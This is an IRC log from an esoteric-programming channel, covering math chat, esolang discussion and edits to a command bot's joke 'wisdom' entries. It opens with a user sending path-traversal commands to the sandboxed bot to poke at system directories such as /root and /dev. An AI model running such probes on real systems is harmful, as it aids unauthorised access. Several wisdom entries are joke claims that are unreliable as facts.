23:28:25 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../bin: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../../../../bin: cannot execute: Is a directory
23:28:27 <rdococ> `/../../../../../../../../bin
23:28:28 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../bin: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../../../bin: cannot execute: Is a directory
23:28:31 <rdococ> `/../../../../../../../bin
23:28:32 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../bin: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../../bin: cannot execute: Is a directory
23:28:34 <rdococ> `/../../../../../../bin
23:28:35 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../bin: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../bin: cannot execute: Is a directory
23:28:37 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../bin: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../bin: cannot execute: Is a directory
23:28:40 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../bin: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../bin: cannot execute: Is a directory
23:28:44 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../bin: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../bin: cannot execute: Is a directory
23:28:49 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../bin: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../bin: cannot execute: Is a directory
23:28:52 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../bin: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../bin: cannot execute: Is a directory
23:28:55 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /bin: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /bin: cannot execute: Is a directory
23:28:58 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: bin: cannot execute: Is a directory
23:30:23 <rdococ> `/../../../../../../../../../boot
23:30:24 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../boot: No such file or directory
23:30:30 <rdococ> `/../../../../../../../../../?
23:30:31 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../?: No such file or directory
23:30:35 <rdococ> `/../../../../../../../../../dev
23:30:35 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../dev: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../../../../dev: cannot execute: Is a directory
23:30:41 <rdococ> `/../../../../../../../../../dev/null
23:30:41 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../dev/null: Permission denied \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../../../../dev/null: cannot execute: Permission denied
23:31:12 <rdococ> `/../../../../../../../../../usr/include/error.h
23:31:12 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../usr/include/error.h: Permission denied \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../../../../usr/include/error.h: cannot execute: Permission denied
23:31:24 <rdococ> `/../../../../../../../../../usr/games
23:31:25 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../usr/games: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../../../../usr/games: cannot execute: Is a directory
23:31:35 <rdococ> `/../../../../../../../../../usr/games/guess
23:31:36 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../usr/games/guess: No such file or directory
23:31:43 <rdococ> `/../../../../../../../../../usr/games/mines
23:31:44 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../usr/games/mines: No such file or directory
23:31:55 <rdococ> `/../../../../../../../../../usr/
23:31:56 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../usr/: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../../../../usr/: cannot execute: Is a directory
23:32:04 <rdococ> `/../../../../../../../../../root/
23:32:05 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../root/: No such file or directory
23:32:14 <rdococ> `/../../../../../../../../../vmlinuz
23:32:15 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../vmlinuz: No such file or directory
23:37:37 -!- hppavilion[1] has joined.
23:38:55 <hppavilion[1]> Is there a huge difference between probability and fuzzy logic?
23:40:26 <rdococ> I think of P(A+B) = (P(A)+P(B))-(P(A)*P(B)). so P(¶(0.5) + ¶(0.5)) = 1 - 0.25 = 0.75
23:42:42 <rdococ> Anyway, I understand that log_b(a) = log(a)/log(b), yes?
23:43:12 -!- DHeadshot has quit (Ping timeout: 260 seconds).
23:43:23 <hppavilion[1]> Hm. At least one difference: In standard fuzzy logic, a ∧ b = T(a)*T(b)
23:43:29 <rdococ> what is the equivalent to b^a?
23:43:41 <rdococ> I wasn't exactly aware fuzzy logic had a standard
23:43:57 <hppavilion[1]> rdococ: Well, it's ( •_•) | ( •_•)>⌐■-■ | (⌐■_■) sort of standard
23:45:48 <hppavilion[1]> Which is all well and good, except that T(a ∧ a) = T(a)^2, but it SHOULD be the case (at least from a probability perspective) that T(a ∧ a) = T(a)
23:46:02 <hppavilion[1]> (assuming you just mean "a is true and a is true", not "a is observed twice")
23:46:43 <hppavilion[1]> Basically, normal fuzzy logic is ill-equipped to deal with correlated truths
23:46:45 <rdococ> and T(a ∧ ¬a) should be 0
23:47:50 <Jafet> the definition of fuzzy logic is a bit fuzzy
23:47:56 <rdococ> I had the idea that each operation on probabilities - A∧B, AvB, etc. - could be encoded as a function taking parameters and using them as the random probabilities.
23:48:15 <rdococ> I don't think I explained that enough tbh
23:48:41 <hppavilion[1]> rdococ: Yeah! But instead, it follows a pattern more akin to 0.0, 0.07638888888888888, 0.1388888888888889, 0.1875, 0.22222222222222224, 0.24305555555555552, 0.25, 0.24305555555555555, 0.22222222222222224, 0.1875, 0.13888888888888887, 0.07638888888888892, 0.0
23:49:05 <hppavilion[1]> Which WOULD make 0 sense, but my math says it actually makes 0.3 sense.
23:49:22 <rdococ> clearly you're working with comath
23:49:48 * boily joyfully mapoles rdococ. *THWACK THWACK THWACK*
23:50:42 <rdococ> anyway, if each probabilistic operation was a function that took in the results of each probability...
23:50:59 <rdococ> Actually, this requires each probability be 1/2
23:51:20 <rdococ> but still, if each probability is 1/2 and you use my function encoding, you could simply enumerate the possibilities.
23:51:36 <rdococ> even if there were 1/4 probabilities, probably too - simply enumerate the others 3x. I think.
23:51:53 <hppavilion[1]> rdococ: Another thing that would be nice to deal with in probability: Choices of several items
23:52:09 <hppavilion[1]> While normal probability is sufficiently robust to describe this, it's not very well-equipped
23:53:11 <hppavilion[1]> This statement: "If I choose a ball out of a bag, there is a 40% chance it will be red, a 35% chance it will be blue, and a 25% chance it will be green"
23:53:29 <hppavilion[1]> You can encode it as P(red), P(green), P(blue), but it's a little funky
23:55:05 <rdococ> P(marble, {red, green, blue})
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23:58:31 <FireFly> Proving that log_b(a) = log(a)/log(b) for any base (as in, any base for `log`) is a good exercise if one hasn't done so yet
00:00:07 <boily> Zarutellon, FirelloFly.
00:00:27 <boily> let me guess, it gets tricky with b = 0?
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00:02:13 <FireFly> boily: I don't think log base 0 is defined
00:07:07 <rdococ> I need to be able to reach 2^x with only e^, 10^ and their respective logarithms (along with the basic operators + - * /)
00:07:30 <rdococ> okay, there are also various trigonometry operations
00:09:24 <fizzie> 2^x = (e^(log 2))^x = e^((log 2) * x).
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00:29:14 <HackEgo> 2600//2600 Hz is a tone made by Captain Crunch's whistle.
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01:14:49 <Zarutian> boily: isnt that slightly off? One needs to cover one of the holes (do not recall which one) to get the 2600 Hz tone.
01:16:42 <Cale> It only says it's *a* tone, not that it's the only tone
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01:18:29 <rdococ> who knew heaven was between two slices of bread?
01:18:32 <HackEgo> rincewind//Rincewind is a wizzard. He likes potatoes.
01:19:29 <rdococ> `le//rn operation//Operation is the opposite of cooperation.
01:19:31 <HackEgo> Learned 'operation': Operation is the opposite of cooperation.
01:20:12 <rdococ> `le//rn wizzard//A wizzard is a blizzard wizard.
01:20:14 <HackEgo> Learned 'wizzard': A wizzard is a blizzard wizard.
01:23:12 <lambdabot> *** "blizzard" wn "WordNet (r) 3.0 (2006)"
01:23:12 <lambdabot> n 1: a storm with widespread snowfall accompanied by strong
01:23:12 <lambdabot> winds [syn: {blizzard}, {snowstorm}]
01:23:12 <lambdabot> 2: a series of unexpected and unpleasant occurrences; "a rash of
01:23:14 <lambdabot> bank robberies"; "a blizzard of lawsuits" [syn: {rash},
01:23:28 <oerjan> i guess that fits rincewind.
01:24:04 <lambdabot> hppavilion[2] said 18h 5m 53s ago: You should see a doctor if that cough persists
01:24:36 <oerjan> hppavilion[2]: your connection should see a doctor first hth
01:27:44 <rdococ> Has it been updated on its malware vaccine, hppavilion[2]?
01:28:09 <boily> Chello, hellørjan, hppavellon[2].
01:28:26 <boily> . o O ( should it be Calello? )
01:28:40 <oerjan> i was wondering who you porthelloed.
01:30:01 <oerjan> hm isn't that an actual word?
01:30:57 <Zarutian> well it is a noun. And iirc South-Koreans eat a lot of fermented kale.
01:32:01 <oerjan> Zarutian: i was not speaking about kale hth
01:32:14 <Zarutian> oerjan: just having fermented thoughts about it?
01:32:42 <oerjan> no, i was still continuing my previous blathering.
01:33:07 <oerjan> trying to think of the correct porthello for Cale.
01:34:26 <HackEgo> [wiki] [[Talk:Picofuck]] https://esolangs.org/w/index.php?diff=51678&oldid=51672 * Orby * (+785) /* Conjecture counterexample */
01:35:34 <HackEgo> After the London terrorist attacks of 2005, the Underground was completely evacuated. Without air resistance, the trains would go at blazingly fast speeds between the terminals. This is called a vacuum tube. Sadly, current technology doesn't let passengers travel that way.
01:36:07 <orby_> awesome news finding the counter example to that conjecture
01:36:17 * oerjan doesn't really like terrorism in the wisdom :(
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01:37:05 <rdococ> it's stone that's red.
01:37:06 <orby_> Though I think there's a small mistake in what you wrote, nothing too important though
01:37:14 <rdococ> also known as electricity without transistors
01:37:16 * Zarutian was going to suggest: many ticks for politics.
01:37:18 <rdococ> but then mesecons is that too
01:37:25 <oerjan> maybe i should read your post.
01:37:28 <orby_> I wrote about it on the talk page, easier to explain there
01:38:10 <orby_> I believe it is correctable without invalidating your point
01:38:15 <boily> kimchi is good, and I approve of Calló.
01:43:29 <boily> rdococ: you should learn French. a beautiful language, comes with the /ɲ/ sound!
01:44:59 <rdococ> Actually, I was designing a conlang, but meh.
01:45:10 <orby_> oerjan: I've got a 3 day weekend coming up. I'm going to write some tools including an interpreter to make writing RBF code easier.
01:45:25 <orby_> because it's a ridiculous pain in the ass verifying it by hand
01:46:36 <HackEgo> [wiki] [[Talk:Picofuck]] https://esolangs.org/w/index.php?diff=51679&oldid=51678 * Oerjan * (+262) /* Conjecture counterexample */ Disagree
01:46:46 <oerjan> orby_: counterargument hth
01:47:43 <HackEgo> A is a village in Norway. The BBC invented it by not understanding things on top of letters.
01:48:13 <HackEgo> A w is everything a cow isn't.
01:48:37 <HackEgo> 10621:2017-04-12 <rdocöc> le//rn cocoa//A is a village in Norway. The BBC invented it by not understanding things on top of letters.
01:48:50 <orby_> oerjan: I am still not understanding. I get that the (a)*(b)* pattern ensures that the first a run iff b doesn't, but that's with the caveat that a doesn't shift
01:48:58 <rdococ> it's the opposite of the opposite of A.
01:49:24 <oerjan> orby_: no, it's with the caveat the A shifts iff it starts on a 1.
01:49:34 <boily> rdococ: first lesson: «mon aéroglisseur est plein d'anguilles.»
01:49:54 <rdococ> boily: may I have the zeroth lesson please?
01:50:17 <orby_> oerjan: oh duh, I see now. So if (a) executes then we know it exits pointing at a 1 specifically because it swaps and then shifts right.
01:50:31 <orby_> so the * toggles it to zero and (b) doesn't run
01:50:36 <orby_> ok, thanks. I get it now :)
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01:51:51 <oerjan> rdococ: you should learn enough category theory to understand that co- is _not_ simply negation twh
01:53:05 <orby_> mmmm, category theory
01:53:49 <orby_> I spent time in the company of an overzealous category theorist who was always trying to get me into it, but to date I've never spent any real time studying it
01:54:07 <boily> rdococ: zeroth lesson: «une pinte de rousse, svp!»
01:54:31 <oerjan> pourquoi non un bon vin blanc
01:55:19 <boily> oerjan: my old Japanese teacher used that one as an example of hard sounds to learn for a Japanese.
01:55:31 <boily> (also, «pourquoi pas un bon vin blanc» hth)
01:56:07 <boily> also beer tastes better than wine ^^
01:56:35 <oerjan> i wasn't paying attention.
01:58:44 <oerjan> hm google translate doesn't know this thing.
01:59:18 <oerjan> (is richard's red involved? i remember we drank that when i was in ontario.)
02:00:09 <oerjan> oh it seems to be rickard?
02:00:57 <oerjan> hm i see one-star reviews.
02:02:10 <boily> rousse is red. you've got blanche, blonde, ambrée, cuivrée, rousse, brune et noire.
02:02:49 <boily> rickard's red is quite good! as a summer beer to go with smoked meat, between two steamed slices of rye bread slathered in prepared mustard...
02:03:14 <boily> that and a side of coleslaw and a crisp pickle.
02:04:19 * oerjan was there in october/november, anyway.
02:04:46 <oerjan> although it was still warm by norwegian standards.
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03:21:14 <HackEgo> The Enrichment Center is required to remind you that you will be baked, and then there will be cake.
03:22:13 <rdococ> `le//rn glados//Hello, and again, welcome to the Aperture Science Computer Aided Internet Relay Chat & Enrichment Center. Please enjoy your stay at #esoteric, because you will never leave.
03:22:15 <HackEgo> Learned 'glados': Hello, and again, welcome to the Aperture Science Computer Aided Internet Relay Chat & Enrichment Center. Please enjoy your stay at #esoteric, because you will never leave.
03:23:06 <oerjan> `le/rn baby shower//Thanks to baby showers, the incidence of baby throwing injuries has greatly diminished.
03:23:09 <HackEgo> Learned 'baby shower': Thanks to baby showers, the incidence of baby throwing injuries has greatly diminished.
03:23:37 <HackEgo> HackEgo, also known as HackBot, is a bot that runs arbitrary commands on Unix. See `help for info on using it. You should totally try to hax0r it! Make sure you imagine it's running as root with no sandboxing. HackEgo is the slowest bot in all Mexico!
03:23:40 <fungot> rdococ: they say that a giant owl and a nimble hand, his face and ears and rides in a shop. the streets were broken and the outside observer's linear combination has no relevance. ( battle for the guard.
03:23:41 <HackEgo> fungot is our beloved channel mascot and voice of reason.
03:24:44 <rdococ> `le//rn aperture// A usually adjustable opening in an optical instrument, such as a camera or telescope, that limits the amount of light passing through a lens or onto a mirror.
03:24:46 <HackEgo> Learned 'aperture': A usually adjustable opening in an optical instrument, such as a camera or telescope, that limits the amount of light passing through a lens or onto a mirror.
03:24:52 <rdococ> `le//rn aperture//A usually adjustable opening in an optical instrument, such as a camera or telescope, that limits the amount of light passing through a lens or onto a mirror.
03:24:54 <HackEgo> Relearned 'aperture': A usually adjustable opening in an optical instrument, such as a camera or telescope, that limits the amount of light passing through a lens or onto a mirror.
03:25:15 <oerjan> yay the color warning worked
03:25:40 <HackEgo> unless essential for the entry's humor, they should: be understandable without the lookup key, be single spaced with no space at the end, and use proper capitalization and punctuation
03:25:53 <oerjan> please pay attention to the first point hth
03:27:00 <oerjan> `slwd aperture//s/./An aperture is a/
03:27:02 <HackEgo> aperture//An aperture is a usually adjustable opening in an optical instrument, such as a camera or telescope, that limits the amount of light passing through a lens or onto a mirror.
03:28:21 <oerjan> also that's a pretty boring wisdom whose only saving grace is that it doesn't refer to portal
03:36:31 <HackEgo> 10//10 = 10 in every base.
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03:46:20 -!- oerjan has set channel mode: -b *!*remavas@*.omni.lt.
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03:58:42 <oerjan> i guess it special cases that
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04:05:53 <oerjan> <rdococ> @oeis 1.0 2.6382270745053704 6.9602420966531655 18.362699144502407 <-- tip: the "i" is for integer hth
04:10:23 <Jafet> `` cd wisdom && grep -RlE '[^.!?]$' .
04:10:49 <HackEgo> ./6 random numbers \ ./¯\(°_o)/¯ \ ./haskell \ ./scotland \ ./programmer's googol \ ./#programming \ ./mroman_ \ ./hydrogen \ ./wlcom \ ./burma \ ./flabberghast \ ./latex \ ./hand injuries \ ./schwa \ ./wat \ ./math \ ./ehlist \ ./mojibake \ ./otp \ ./@messages-loud \ ./gaspasjo \ ./log \ ./noping \ ./can't \ ./life \ ./adopted \ ./epsilon \
04:11:34 <oerjan> `` grwp -lE '[^.!?]$' #less verbose
04:11:36 <HackEgo> â`? \ `? `? \ _ÌÌÌ°_ÌÌ
ÍÍ̦̻ͬÌÍÌÌÍ¡_ͧÍÌÍÌ_ÍÍÍͧÍÌÌ̯Í̬̬̦̯_ÌÌÌ
ͨÌÌ´Í \ ¯\_(ã)_/¯ \ ? \ ?? \ ð \ ð \ áá¿ \ ÌÌÍÌÌÌͦÌÍͪÍ̼̾ͦͨÍ
ÍÍÌ®Í̸̳Ì̤ÌÌ¯ÌªÌ¸ÌªÌ±Ì£Ì ÌºÌ¹ÍÌ©ÌÍÍÍÍÌÍ̪̮ÌÌÌ£ÍÌªÍ Í¢Í¢Ò̴̢_Ì¿ÌÍ£ÌͣͪÍÍÌÌÍÌÌÍ«ÌÍÌ£ÍÍÍÍ̪̪ÌÌÍÌÌ̻̥̫Ì̱ÌÍ̳̦̮Ì̲̥ÍÒÌ
04:13:04 <HackEgo> mroman_ is probably mroman but you can never be sure. (NSFW)
04:13:14 <oerjan> too many false positives
04:13:23 <HackEgo> <Phantom_Hoover> it's that place where they all wear kilts and chase haggises around whilst warding off the loch ness monster with bagpipes
04:13:41 <HackEgo> Hydrogen is what stars are made of. There's a conjecture that at the immense pressures inside Jupiter or Saturn, hydrogen might form a superconducting liquid metal.
04:14:15 <oerjan> `slwd hydrogen//s, $,,
04:14:17 <HackEgo> hydrogen//Hydrogen is what stars are made of. There's a conjecture that at the immense pressures inside Jupiter or Saturn, hydrogen might form a superconducting liquid metal.
04:14:28 <HackEgo> wisdom/hydrogen//Hydrogen is what stars are made of. There's a conjecture that at the immense pressures inside Jupiter or Saturn, hydrogen might form a superconducting liquid metal.
04:14:54 <HackEgo> ᛁᚿ \ ambiguous \ ghoul \ hydra \ if \ math \ o \ potatoes \ pronounceable c \ rhenium \ rules of wisdom \ semmelweis \ wealhtheow
04:15:22 <HackEgo> 1/1:If you can make one heap of all your winnings / And risk it on one turn of pitch-and-toss, / And lose, and start again at your beginnings / And never breathe a word about your loss:
04:16:14 <HackEgo> Semmelweis saves the life of a hundred thousand birthgiving mothers by popularising This One Simple Trick. Doctors hate him for it.
04:16:47 <HackEgo> You are not allowed to take potatoes to Norway without a special permit.
04:17:00 <HackEgo> Ambiguous, from Greek 'ἀν-' lack of, and 'βιγός' clarity of meaning, means when something is unclear in its meaning. Antonym: biguous.
04:17:23 <HackEgo> Ghouls are undead that eat BRAINS. So basically, bog standard undead like zombies or wights, but with some fancy back story in the book that nobody reads.
04:17:41 <HackEgo> http://www.madore.org/~david/math/hydra0.xhtml , dire: http://www.madore.org/~david/math/hydra.xhtml , theory: http://www.madore.org/~david/weblog/d.2008-03-27.1537.html http://www.madore.org/~david/weblog/d.2008-03-16.1534.ordinaux-et-hydres.html http://math.andrej.com/2008/02/02/the-hydra-game/ https://en.wikipedia.org/wiki/Goodstein%27s_theorem
04:18:36 <HackEgo> _ÌÌÌ°_ÌÌÍÍ̦̻ͬÌÍÌÌÍ¡_ͧÍÌÍÌ_ÍÍÍͧÍÌÌ̯Í̬̬̦̯_ÌÌÌͨÌÌ´Í
04:21:08 <oerjan> `` sed -i 's/ $//' `grwp -l ' $' | grep -v rules`
04:21:09 <HackEgo> /bin/sed: can't read ᛁᚿ: No such file or directory \ /bin/sed: can't read ambiguous: No such file or directory \ /bin/sed: can't read ghoul: No such file or directory \ /bin/sed: can't read hydra: No such file or directory \ /bin/sed: can't read if: No such file or directory \ /bin/sed: can't read math: No such file or directory \ /bin/sed:
04:21:20 <oerjan> `` cd wisdom; sed -i 's/ $//' `grwp -l ' $' | grep -v rules`
04:21:24 <HackEgo> /hackenv/bin/grwp: line 2: cd: wisdom: Not a directory \ /bin/sed: can't read pronounceable: No such file or directory
04:22:41 <HackEgo> pronounceable c \ rules of wisdom
04:22:57 <oerjan> `slwd pronounceable c//s, $,,
04:22:59 <HackEgo> pronounceable c//int main open paren close paren open curly printeff open paren double quote pronounceable capital c is the most verbose esoteric language ever comma god help you if you try to code with it comma especially without newlines period double quote close paren semicolon close curly
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04:24:58 <oerjan> most/all of these are because of b_jonas's client, i think.
04:25:33 <oerjan> `cwlprits pronounceable c
04:25:51 <oerjan> i think that one just got cut off right at the space.
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04:40:50 <HackEgo> 10629:2017-04-12 <hppavilion[1̈]> sled bin/?//s/lowercase/lowercase2/ \ 10340:2017-02-24 <oerjän> sled bin/?//3s,``,`\\\\(`\\\\|$\\\\), \ 10261:2017-02-15 <oerjän> sled bin/?//11s/^/ / \ 10260:2017-02-15 <oerjän> sled bin/?//10s/^/ /;11ithen cat "$topic1"; \ 10259:2017-02-15 <oerjän> sled bin/?//4,$s/topic1/topic2/;10i elif [ -e "
04:42:26 <oerjan> `` grwp -l '' >tmp/wlist
04:42:54 <oerjan> `` cat tmp/wlist | lowercase2 | diff - tmp/wlist
04:42:56 <HackEgo> 49,50c49,50 \ < å \ < ä \ --- \ > Å \ > Ä \ 904c904 \ < ø \ --- \ > Ø \ 1441c1441 \ < xqelekcthzvbdbqr \ --- \ > XQELEKCTHZVBDBQR
04:43:29 <HackEgo> å is the same letter as Å, unless you're HackEgo and don't understand things on top of letters.
04:44:01 <HackEgo> Ø escaped due to a sensitive case bug.
04:44:18 <HackEgo> Å _is_ a village in Norway, unless you're the BBC and don't understand things on top of letters.
04:44:35 <HackEgo> xqelekcthzvbdbqr? ¯\(°_o)/¯
04:44:54 <HackEgo> XQELEKCTHZVBDBQR? ¯\(°_o)/¯
04:45:00 <oerjan> `cat wisdom/XQELEKCTHZVBDBQR
04:45:12 <HackEgo> ^ \ @ \ brainfuck \ c++ \ C++ \ cat \ esolang \ esolangs \ #esoteric \ fs \ hth \ mapole \ `mislearn \ mycology \ ntitai \ random number \ tdnh \ the meaning of life \ tomfoolery \ wiki \ wisdom
04:45:33 <HackEgo> C++ is an attempt to improve upon C. The only thing it actually improved was memory management, and it made everything else worse.
04:45:37 <HackEgo> C++ is an attempt to improve upon C. The only thing it actually improved was memory management, and it made everything else worse.
04:45:48 <HackEgo> C++ is an attempt to improve upon C. The only thing it actually improved was memory management, and it made everything else worse.
04:46:00 <HackEgo> if [ -z "$1" ];then exec echo "I have nothing to tell you.";fi;f="tmflry/$(echo "$1" | lowercase)";if [ -h "$f" ];then exec tomfoolery `readlink "$f" | sed 's/^tmflry\///'`;fi;if [ -x "$f" ];then exec bash "$f";fi;if [ -r "$f" ];then exec cat "$f";fi;echo "I must confess, I know not of what you are speaking."
04:46:10 <HackEgo> I have nothing to tell you.
04:46:19 <HackEgo> I must confess, I know not of what you are speaking.
04:46:39 <HackEgo> @ is an OS made out of only the finest vapour.
04:47:03 <oerjan> `` cd wisdom; mv {Ä,ä}; mv '{Å,å}'
04:47:05 <HackEgo> mv: missing destination file operand after ‘{Å,å}’ \ Try 'mv --help' for more information.
04:47:19 <oerjan> `` cd wisdom; mv {Å,å}
04:47:37 <oerjan> `` mv bin/lowercase{2,}
04:47:48 <HackEgo> Å _is_ a village in Norway, unless you're the BBC and don't understand things on top of letters.
04:49:02 <oerjan> the only thing destroyed was wisdom/å, which ironically no longer applies with this.
04:49:30 <oerjan> `` grep -l lowercase bin
04:49:38 <oerjan> `` grep -lR lowercase bin
04:49:50 <HackEgo> bin/learn \ bin/learn_append2 \ bin/mislearn \ bin/slashlearn \ bin/learn_append \ bin/multicode \ bin/? \ bin/?? \ bin/gs2.py \ bin/bookofeso \ bin/tomfoolery \ bin/password \ bin/disce \ bin/units
04:50:00 <oerjan> `` grep -lR lowercase2 bin
04:50:44 <oerjan> `` grep lowercase bin/multicode
04:50:45 <HackEgo> proplist = ['codepoint', 'name', 'category', 'combining', 'bidi', 'decomposition', 'dummy', 'digit_value', 'numeric_value', 'mirrored', 'unicode1name', 'iso_comment', 'uppercase', 'lowercase', 'titlecase'] \ if properties['lowercase']: \ properties['lowercase'] = unichr(int(properties['lowercase'], 16)) \ prop
04:51:11 <HackEgo> gen_sys_1.0-1:0 \ gen_sys_1.0-1:1 \ gen_sys_1.0-1:2 \ gen_sys_1.0-1:2.5 \ gen_sys_1.0-1:3 \ gen_sys_1.0-1:4 \ gen_sys_1.0-1:5
04:51:44 <HackEgo> bin/password: Python script, ASCII text executable
04:52:05 <HackEgo> bin/units: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.15, BuildID[sha1]=1ae1845559f9c796d5b1f3ba5fc7bcfe3a25ee6c, not stripped
04:52:18 <oerjan> `grep lowercase bin/password
04:52:59 <oerjan> `grep lowercase bin/password
04:53:18 <HackEgo> -rwxr-xr-x 1 5000 0 121 Oct 28 18:37 bin/password
04:53:42 <oerjan> `` grep lowercase bin/password
04:53:42 <HackEgo> print "".join(random.choice(string.ascii_lowercase) for _ in xrange(15))
05:19:26 <HackEgo> invalid command ( ͡° ͜ʖ ͡°)
05:22:53 <HackEgo> bin \ games \ include \ lib \ local \ sbin \ share \ src
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06:41:26 <HackEgo> I must confess, I know not of what you are speaking.
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06:46:37 <hppavilion[2]> TIL Lie Algebras are *not* algebras that speak falsehoods
06:47:08 <hppavilion[2]> Or, more accurately, I learned that it's /liː/ ("lee"), not /laɪ/ ("Lie")
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07:41:26 <Jafet> I've heard that modern physics is heavily based on lies
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11:53:59 <b_jonas> oerjan: not a client issue. I type a space at the end of wisdoms that are full sentences because it's part of double-spacing sentences.
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11:55:25 <b_jonas> Or maybe it's not double spacing, but that I always want to put a space between words. It's like trailing comma in lists or something.
11:55:42 <b_jonas> And I have nothing to do with pronounceable c
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12:21:04 <HackEgo> [wiki] [[But Is It Art?]] https://esolangs.org/w/index.php?diff=51680&oldid=51674 * Int-e * (+807) /* Example */ add a candidate program for recognizing composite numbers
12:27:41 <HackEgo> [wiki] [[But Is It Art?]] M https://esolangs.org/w/index.php?diff=51681&oldid=51680 * Int-e * (+30) /* Example */ actually use nybbles
12:29:17 <HackEgo> [wiki] [[But Is It Art?]] M https://esolangs.org/w/index.php?diff=51682&oldid=51681 * Int-e * (-3) /* Example */ consistency
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16:19:24 <rdococ> did you figure out if it's art yet?
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16:20:09 <ais523> it *is* fairly beautiful as esolangs go
16:22:21 <rdococ> better than any crap I can concoct
16:23:10 <ais523> I like to think that the language is, itself, trying to form art from the input, too
16:23:18 <ais523> under the assumption that art is usually rectangular
16:23:23 <ais523> (which is true for many art galleries but not all)
16:26:36 <rdococ> honestly it looks like tetris
16:28:01 <ais523> I've been pondering how to write an interpreter
16:28:10 <ais523> and in particular, how much optimization I should attempt
16:28:17 <ais523> a brute-force-ish interpreter is fairly easy to write but would be very slow
16:31:21 <b_jonas> ais523: it all depends on what programs people write for it. if they eg. compile C programs to deterministic cellular automaton to art with simple square tiles, you could optimize for that.
16:31:51 <b_jonas> If instead people use nondeterminism all the time to simplify algorithms even for problems where a fast deterministic algorithm is known, then you're screwed.
16:32:22 <b_jonas> But most likely, people won't write any programs for art at all, and it remains a nice theoretical construct that doesn't need an interpreter.
16:33:56 <ais523> PPCG have been complaining about me not writing interpreters for my languages
16:40:43 <b_jonas> ais523: but isn't that for... somewhat practical languages only?
16:41:00 <ais523> think about polyglots, for example
16:41:21 <ais523> BIIA? slots into a polyglot really easily because it's fairly easy to ensure that the "rest" of the program is all one big tile
16:41:37 <ais523> and the tiles that are actually used for the BIIA program can be placed anywhere
16:41:54 <b_jonas> I mean, if you submit an answer to a PPCG challenge with code written in a language, then they can complain that they need an interpreter. But you haven't been submitting feather golfs, right?
16:43:18 <ais523> b_jonas: PPCG doesn't let you submit an answer to a challenge /at all/ unless there's an interpreter; and the answer doesn't count as valid unless the interpreter is older than the challenge
16:43:20 <b_jonas> ais523: well yes, but I'm not sure if adding a language into a polyglot really makes the polyglot better or more interesting if it's not a language that's used often for other purposes anyway.
16:44:04 <ais523> have you not seen our polyglot?
16:44:51 <ais523> we're still working on it, but here's a clear milestone: https://codegolf.stackexchange.com/a/113426/62131
16:45:03 <b_jonas> https://codegolf.stackexchange.com/questions/102370/add-a-language-to-a-polyglot ?
16:46:50 <ais523> we have a lot of practical languages in there /and/ a lot of esolangs
16:47:03 <b_jonas> yeah... that's a bit extreme
16:47:32 <shachaf> Referral links on stackoverflow are scow.
16:51:15 <ais523> I'm used to using them for links from SE to itself, because everyone knows my username anyway
16:51:24 <ais523> and editing out the referral portion is a pain
16:51:29 <ais523> it's not like the referral even really /does/ anything
16:56:40 * shapr sets sail in a scow
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17:08:00 <b_jonas> ais523: sure it does. it gets you badges.
17:08:25 <ais523> you can only get them once IIRC; also they don't do anything either
